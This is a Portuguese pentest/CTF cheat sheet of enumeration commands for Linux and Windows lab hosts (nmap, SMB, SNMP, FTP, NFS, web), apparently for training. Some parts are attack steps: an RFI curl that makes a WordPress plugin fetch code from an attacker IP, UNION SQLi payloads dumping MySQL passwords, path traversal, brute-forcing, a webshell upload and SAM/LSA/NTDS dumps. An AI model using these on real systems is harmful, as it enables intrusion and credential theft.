Port & Service Enumeration
Linux
NMAP - Enumeração de Portas e Serviços
# Definir IP alvo
export IP=10.10.11.28
# TCP - Reconhecimento inicial com scripts e detecção de versão
sudo nmap -Pn -n $IP -sC -sV -p- --open -oN nmap/recon
# UDP - Top 100 portas com motivo de resposta
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason -oN nmap/udp-ports -v
# Full TCP scan (todas as 65535 portas)
nmap -p- --min-rate 10000 $IP
# TCP Connect Scan (quando -sS está bloqueado)
nmap -sT -p- --min-rate 5000 -oA nmap/alltcp $IP
# Após identificação de portas específicas
nmap -p 22,80,3000 -sC -sV -oA scans/scripts $IP
# Scan inicial rápido
nmap -sV -sC -oA nmap/initial $IP
# Detecção de sistema operacional
sudo nmap -O --osscan-guess -p 22,80,443 $IP -oN nmap/os-detection
# Detecção de versão detalhada
sudo nmap -sV --version-all -p 22,80,443 $IP -oN nmap/version-details
# Nmap completo TCP
nmap -sT -p- --min-rate 10000 -oA nmap/alltcp 10.10.10.117
# Nmap completo UDP
nmap -sU -p- --min-rate 10000 -oA nmap/alludp 10.10.10.117
# Nmap com scripts e portas específicas
nmap -sC -sV -p 22,80,1111,6697,8067,65534 -oA nmap/scripts 10.10.10.117
# Rustscan - porta rápida + integração com Nmap
rustscan --addresses 192.168.189.125 --ulimit 5000 -- -A -sC -Pn -sV -T 1500
SMB
# Acessar o compartilhamento SMB
smbclient //IP/SHARE -U 'usuario'
smbclient \\\\192.168.120.125\\Commander -p 12445
# Após o login no prompt do smbclient, execute:
prompt OFF # desativa confirmação para cada arquivo
recurse ON # ativa recursividade para baixar diretórios
mget * # baixa todos os arquivos e pastas do share
# Acesso anônimo - listar shares disponíveis
smbclient -L //$IP -N
# Enumeração completa via enum4linux-ng
enum4linux-ng -A $IP
# Nmap com scripts SMB
nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 139,445 $IP -oN nmap/smb-enum
SNMP PORT 161 UDP
## SNMP - Enumeração e Brute-force
# SNMP básico com community string "public"
snmpwalk -v2c -c public 10.10.11.193
# Tentativa com outra community string
time snmpwalk -v2c -c internal 10.10.11.193
# Bulk SNMP
time snmpbulkwalk -v2c -c internal 10.10.11.193
# Brute-force SNMP community strings com script Python
python /opt/SNMP-Brute/snmpbrute.py -t 10.10.11.193
WEB - Enumeração e Exploração
# Gobuster - root da porta 80
gobuster dir -u http://10.10.10.88 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -o gobuster/port80root.txt
# Gobuster - diretório webservices
gobuster dir -u http://10.10.10.88/webservices -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 30 -o gobuster/port80webservices.txt
# Gobuster - diretório raiz de outro host
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o scans/gobuster-root-med -t 40
# Gobuster - extensão php em lista menor
gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-80-root-php -t 40
# Gobuster - com wordlist lowercase
gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
# Feroxbuster - raiz mentorquotes.htb
feroxbuster -u http://mentorquotes.htb
# Feroxbuster - API com métodos GET/POST
feroxbuster -u http://api.mentorquotes.htb --no-recursion --methods GET,POST
# Feroxbuster - diretório admin na API
feroxbuster -u http://api.mentorquotes.htb/admin/ --no-recursion --methods GET,POST
# Feroxbuster - domínio devvortex.htb com extensão html
feroxbuster -u http://devvortex.htb -x html
# FFUF - subdomínios de usage.htb
ffuf -u http://10.10.11.18 -H "Host: FUZZ.usage.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
# FFUF - subdomínios de mentorquotes.htb
ffuf -u http://10.10.11.193 -H "Host: FUZZ.mentorquotes.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -mc all
# FFUF - subdomínios de devvortex.htb
ffuf -u http://10.10.11.242 -H 'Host: FUZZ.devvortex.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
# WPScan - enumeração de plugins, temas e usuários
wpscan -u http://10.10.10.88/webservices/wp/ --enumerate p,t,u | tee wpscan.log
# LFI via plugin do WordPress
curl -s "http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.99/"
# SQLMAP - automatizado em parâmetro 'cod'
sqlmap -u http://10.10.10.143/room.php?cod=1
# SQLi manual - testando quantidade de colunas com UNION
# Exemplo: http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -
# Listar bancos
# SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 FROM information_schema.schemata;-- -
# Tabelas no DB 'hotel'
# SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 FROM information_schema.tables WHERE table_schema='hotel';-- -
# Colunas da tabela 'room'
# SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='room';-- -
# Usuários do MySQL
# SELECT 1, user,3, 4,password, 6, 7 FROM mysql.user;-- -
# Teste simples de SQLi em formulários
# Enviar `'` e observar se há erro 500
# Tentar: ' or 1=1 limit 1;-- -
# Gera: select * from users where email = '' or 1=1;-- -';
Windows
NMAP
# Defina o IP alvo antes de iniciar
export IP=10.10.10.95
# init
sudo nmap -Pn -n $IP -sC -sV -p- --open -oN nmap/recon
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason -oN nmap/udp-ports -v
# Reconhecimento inicial com scripts e detecção de versão, portas abertas e sem DNS
sudo nmap -Pn -n $IP -sC -sV -p- --open -oN nmap/recon
# Top 100 portas UDP com motivos de resposta
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason -oN nmap/udp-ports -v
# Full TCP Scan – todas as 65535 portas TCP
nmap -p- --min-rate 10000 -oA nmap/alltcp $IP
# Alternativa com TCP Connect Scan (-sT), útil se estiver sem root ou tentando contornar firewalls
nmap -sT -p- --min-rate 10000 -oA nmap/alltcp $IP
# TCP Scan com número mínimo de tentativas (para hosts que dropam conexões agressivas)
nmap -sT -p- --min-rate 5000 --max-retries 1 $IP
# Full UDP Scan – identifica serviços como DNS, SNMP, NTP, etc.
nmap -sU -p- --min-rate 10000 -oA nmap/alludp $IP
# Enumeração detalhada com scripts padrão e detecção de versão
# Adapte as portas de acordo com o host: SMB, RPC, RDP, WinRM, etc.
nmap -p 80,135,445,3389,5985,49154 -sC -sV -oA nmap/scripts $IP # Substitua ou adicione conforme necessário
# Scan básico sem definir portas (para recon inicial rápida)
nmap -sC -sV -oA nmap/initial $IP
FTP - Port 21
# Defina o IP alvo antes de iniciar
export IP=10.10.10.152
# Enumeração com Nmap – scripts úteis para FTP
# Verifica acesso anônimo, tipo de sistema e possíveis vulnerabilidades
nmap -p21 --script=ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor -sV -oA nmap/ftp $IP
# Conexão manual via FTP utilizando acesso anônimo (sem senha)
ftp $IP
# Após conectar, usar:
# login: anonymous
# senha: (pressione Enter)
# Comandos úteis dentro do FTP:
# Listar arquivos e diretórios
ftp> dir
# Navegar entre diretórios
ftp> cd users\
ftp> cd Public
# Baixar arquivo sensível (ex: flag user.txt)
ftp> get user.txt
# Alternativa: baixar todo conteúdo FTP recursivamente
wget -r ftp://anonymous:@$IP
# Listar todos os arquivos baixados
find ftp/ -type f
# -------------------------------
# Técnicas adicionais em FTP
# -------------------------------
# 1. Brute-force de credenciais (caso o login anônimo não funcione)
# Testa combinações comuns de usuário e senha
hydra -l ftp -P /usr/share/wordlists/rockyou.txt ftp://$IP
medusa -h $IP -u ftp -P /usr/share/wordlists/rockyou.txt -M ftp
# 2. Upload de arquivos via FTP (se permitido)
# Pode ser usado para upload de webshell em servidores que hospedam sites
# Verifique permissões de escrita no diretório atual:
ftp> put shell.php
# 3. Verificar se diretórios web (ex: /inetpub/wwwroot) são acessíveis
ftp> cd inetpub
ftp> cd wwwroot
ftp> dir
# 4. FTP como vetor para LFI/RFI em conjunto com HTTP
# Enviar arquivos maliciosos via FTP e tentar incluí-los por HTTP (se houver LFI/RFI na aplicação)
# 5. FTP Bounce Attack (se suportado)
# Permite escanear outras máquinas da rede via FTP (pouco comum hoje)
nmap -p21 --script=ftp-bounce -v $IP
# 6. Identificação do sistema operacional remoto
# Muitas vezes o banner revela que é Windows, Linux, vsFTPd, etc.
# Pode ser útil para decidir próximos passos (ex: enumeração SMB ou HTTP)
SMB - Ports 137, 138, 139, 445
# Em redes legadas ou internas (Windows antigo), SMB costuma funcionar sobre NetBIOS (137-139).
# Em redes modernas, apenas a porta 445 é usada (SMBv2/v3), sem depender de NetBIOS.
# Para pentests, CTFs e enumeração, muitas ferramentas focam em 139 e 445,
# mas 137 e 138 são importantes em casos de resolução de nomes, descoberta via broadcast
# e ambientes com NetBIOS ativo.
# Defina o IP alvo antes de iniciar
export IP=10.10.10.125
# -------------------------------
# ENUMERAÇÃO ANÔNIMA OU SIMPLES
# -------------------------------
# Enumeração com smbclient sem autenticação
smbclient -N -L //$IP
# Retorno comum:
# session setup failed: NT_STATUS_ACCESS_DENIED
# Enumeração com smbmap
smbmap -H $IP
smbmap -H $IP -u null
smbmap -H $IP -u invaliduser
# Enumeração com netexec (fork temporário do CME)
netexec smb $IP -u guest -p ''
netexec smb $IP -u oxdf -p 'oxdf'
# Alternativa oficial e atual com crackmapexec
crackmapexec smb $IP -u guest -p ''
crackmapexec smb $IP -u oxdf -p 'oxdf'
crackmapexec smb $IP -u tony -p 'BeyondLakeBarber399' --shares
# Enumeração avançada com crackmapexec
crackmapexec smb $IP --shares # Enumera compartilhamentos
crackmapexec smb $IP --sessions # Lista sessões SMB ativas
crackmapexec smb $IP --users # Enumera usuários (se possível)
crackmapexec smb $IP -u '' -p '' --pass-pol # Política de senha via null session
crackmapexec smb $IP -u tony -p 'BeyondLakeBarber399' --shares # Usando senha
# Nmap com NSE para SMB
nmap -p137,138,139,445 --script=smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode -oA nmap/smb $IP
# enum4linux-ng (moderno) ou enum4linux (legado)
enum4linux-ng -A $IP
enum4linux -a $IP
# nbtscan para identificar hostname e domínio NetBIOS
nbtscan $IP
# Null session com rpcclient (se permitido)
rpcclient -U "" $IP
# Comando útil:
# > enumdomusers
# Caso algum compartilhamento esteja acessível:
smbclient -N //$IP/share
# smb: \> dir
# smb: \> get arquivo.txt
# smb: \> exit
# -------------------------------
# BRUTE-FORCE DE CREDENCIAIS
# -------------------------------
# Brute-force com Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt $IP smb
# Brute-force com CrackMapExec (CME)
# Passo 1: gerar listas simples de usuários e senhas
echo 'admin' > users.txt
echo 'admin123' > passwords.txt
# Passo 2: executar brute-force com CME
crackmapexec smb $IP -u users.txt -p passwords.txt
# Verificação se o login funciona e se é administrador
crackmapexec smb $IP -u administrator -p 'senha123' --admin
# -------------------------------
# PÓS-EXPLORAÇÃO COM CREDENCIAIS VÁLIDAS
# -------------------------------
# Execução de comando remoto (implica privilégio)
crackmapexec smb $IP -u administrador -p 'senha123' --exec 'whoami'
crackmapexec smb $IP -u tony -p BeyondLakeBarber399 --exec-method smbexec -x 'whoami'
# Dump da SAM (requer privilégios)
crackmapexec smb $IP -u administrator -p 'senha123' --sam
# Dump da LSA secrets (requer privilégio)
crackmapexec smb $IP -u administrator -p 'senha123' --lsa
# Dump do NTDS.dit (para AD domain dump)
crackmapexec smb $IP -u administrator -p 'senha123' --ntds
# -------------------------------
# TESTES EM AMBIENTE WINDOWS
# -------------------------------
# Verificação de compartilhamentos no Windows (caso tenha shell)
net view $IP
# Possível retorno:
# System error 5 has occurred. Access is denied.
NFS - Port 2049
# NFS (Network File System) permite compartilhamento de diretórios em rede via RPC.
# Muito comum em ambientes Unix/Linux, mas quando mal configurado, pode permitir acesso completo a arquivos remotos.
# Porta padrão: 2049/TCP
# Defina o IP alvo antes de iniciar
export IP=10.10.10.180
# Verificar exportações públicas no servidor NFS (quais diretórios estão compartilhados)
showmount -e $IP
# Exemplo de retorno:
# Export list for 10.10.10.180:
# /site_backups (everyone)
# Montar diretório exportado localmente (requer pacote nfs-common)
mkdir -p /mnt/nfs
mount -t nfs $IP:/site_backups /mnt/nfs
# Navegar nos arquivos montados
cd /mnt/nfs
ls -la
# Examinar arquivos sensíveis com strings (útil em .sdf, .bak, .db, .xml, .config)
strings App_Data/Umbraco.sdf | head
# Exemplo de achado:
# adminadmin@htb.local: b8be16afba8c314ad33d812f22a04991b90e2aaa
# Desmontar o recurso remoto após análise
umount /mnt/nfs
# -------------------------------
# ENUMERAÇÃO COM NMAP
# -------------------------------
# Verificação do serviço e possíveis exportações
nmap -sV -p2049 --script=nfs-ls,nfs-showmount,nfs-statfs -oA nmap/nfs $IP
# Scripts úteis:
# nfs-showmount: lista exportações
# nfs-ls: tenta listar arquivos dentro das exportações
# nfs-statfs: mostra estatísticas de uso/disco
# -------------------------------
# ENUMERAÇÃO DE EXPORTAÇÕES E TESTES DE PERMISSÃO
# -------------------------------
# Testar manualmente permissão de escrita
touch /mnt/nfs/test.txt
echo "testando" > /mnt/nfs/test.txt
cat /mnt/nfs/test.txt
rm /mnt/nfs/test.txt
# -------------------------------
# OUTRAS TÉCNICAS
# -------------------------------
# 1. Usar brute-force de exportações com lista de caminhos (se "showmount -e" não mostrar nada)
# Lista de dicionário: /usr/share/seclists/Discovery/Web-Content/common.txt (adaptar para caminhos)
for path in $(cat paths.txt); do showmount -e $IP | grep "$path" && echo "[+] Encontrado: $path"; done
# 2. NFSMap (para descobrir exportações e permissões via script)
# https://github.com/mogozobo/nfsmap
python3 nfsmap.py $IP
# 3. Verificar UID/GID após montagem – pode herdar permissões se o servidor NFS não estiver bem configurado
ls -n /mnt/nfs
# 4. Possível escalonamento de privilégio:
# Se o NFS permitir escrita e o diretório montado for usado por serviços sensíveis (ex: scripts PHP, configurações),
# é possível sobrescrever arquivos e injetar comandos.
# 5. Alterar /etc/exports (em ambientes mal configurados com acesso root via NFS + permissões incorretas)
# Raro em CTFs, mas real em redes antigas/mal segmentadas.
# -------------------------------
# BOAS PRÁTICAS
# -------------------------------
# Sempre desmontar após uso
umount /mnt/nfs
HTTP/HTTPS - Ports 80, 443, 8080, 8443
# Essas portas geralmente expõem aplicações web em servidores, como Apache, Nginx ou IIS.
# Para análise de CTFs ou pentests, enumeração é fundamental para identificar aplicações, frameworks, painéis de login, e potenciais falhas.
# Defina o IP alvo antes de iniciar
export IP=10.10.10.125
# Descobrir o que está rodando e coletar banners
nmap -p80,443,8080,8443 -sC -sV -oA nmap/web $IP
# Detectar tecnologias (servidor, CMS, frameworks, etc.)
whatweb http://$IP
whatweb https://$IP
# Alternativa: wappalyzer via extensão no navegador
# Coletar metadados de cabeçalhos HTTP
curl -I http://$IP
# Acesso básico com o navegador ou via curl
curl http://$IP
curl -k https://$IP
# Descoberta de diretórios e arquivos
# Usar extensão .php, .aspx, .html, .txt se souber linguagem usada
# Gobuster:
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -o web/gobuster-http
gobuster dir -u https://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -k -t 50 -o web/gobuster-https
# Feroxbuster:
feroxbuster -u http://$IP -x php,html,aspx,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
feroxbuster -u https://$IP -x php,html,aspx,txt -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
# Dirsearch:
dirsearch -u http://$IP -e php,html,aspx,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Verificar comportamento de erros com inputs inválidos (404, 403, 500)
# Testar vulnerabilidades conhecidas com searchsploit
searchsploit "nome do software" ou "nome do CMS"
# Identificar CMS usado na página:
# Exemplo: Umbraco → /umbraco
# Joomla → /administrator
# WordPress → /wp-login.php
# Baixar todo o conteúdo web com wget:
wget -r http://$IP
# Buscar por arquivos de configuração ou expostos
curl http://$IP/.git/config
curl http://$IP/backup.zip
# Analisar possíveis vulnerabilidades por parâmetros
# Testar LFI, RFI, SQLi, XSS, RCE, SSRF, etc.
# Exemplos:
curl http://$IP/index.php?page=../../../../etc/passwd
# Fuzz de parâmetros
ffuf -u http://$IP/index.php?FUZZ=test -w /usr/share/wordlists/dirb/common.txt -t 50
# Se identificar CMS, verificar por CVEs ou exploits específicos
# WordPress
wpscan --url http://$IP --enumerate u,t,vp,vt
# Joomla
joomscan --url http://$IP
# Drupal
droopescan scan drupal -u http://$IP
# Acesso por subdomínios ou virtual hosts
# (usar DNS spoofing ou /etc/hosts se não resolver)
echo "10.10.10.125 site.htb" >> /etc/hosts
curl http://site.htb
# Testar páginas de upload para possíveis RCEs
# (usar extensão .php, .asp, ou técnicas de bypass como filename.php.jpg ou double extensions)
# Observar resposta do servidor e permissões de execução
# Tecnologias web comuns e diretórios típicos:
# ColdFusion → /CFIDE
# Jenkins → /askjeeves, /jenkins
# Tomcat → /manager/html
# Umbraco → /Umbraco
# Gym Management System → /README.md, /admin.php
# Online Voting System → /admin, /login.php, /vote.php
# Outras técnicas úteis:
# Identificar framework ou CMS pelo conteúdo ou código-fonte
strings nos arquivos, comentários HTML, cookies, JS
# Busca por arquivos de interesse: backup, config, senhas, logs
curl http://$IP/.env
curl http://$IP/config.php
# Caso download.php ou outros scripts aceitem parâmetros:
curl http://$IP/download.php?file=../../../../etc/passwd
curl http://$IP/download.php?file=..\\..\\windows\\win.ini
# Caso haja login, testar com credenciais padrão:
admin:admin
admin:password
admin:123456
# E se falhar, usar hydra ou burpsuite para brute-force
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid login"
# Importante: Sempre salvar os resultados com -o ou -oA
# Caso encontre um painel com formulário de contato, tente explorar SSRF ou envio de links maliciosos
# Se download.php permitir download arbitrário, tentar leitura de arquivos sensíveis
# Atenção ao comportamento de aplicações como:
# - SecureNotes (GET vulnerable)
# - hMailServer (hashes em arquivos .ini)
# - ColdFusion (vulnerabilidades conhecidas em CFIDE)
# - PRTG (login default prtgadmin/prtgadmin)
# Ferramentas auxiliares:
# - wafw00f → detectar WAF
# - nikto → scanner web geral
# - nuclei → scanner baseado em templates
# Exemplos com nuclei
nuclei -u http://$IP -t cves/
nuclei -u http://$IP -t vulnerabilities/
# Por fim, mantenha o navegador aberto com burpsuite para capturar interações em tempo real.
# Caso queira interagir com APIs:
curl -X GET http://$IP/api/endpoint -H "Authorization: Bearer <token>"
# Se precisar autenticar antes para testar a API:
curl -X POST -d "user=admin&pass=123" http://$IP/login.php -c cookies.txt
curl -b cookies.txt http://$IP/api/endpoint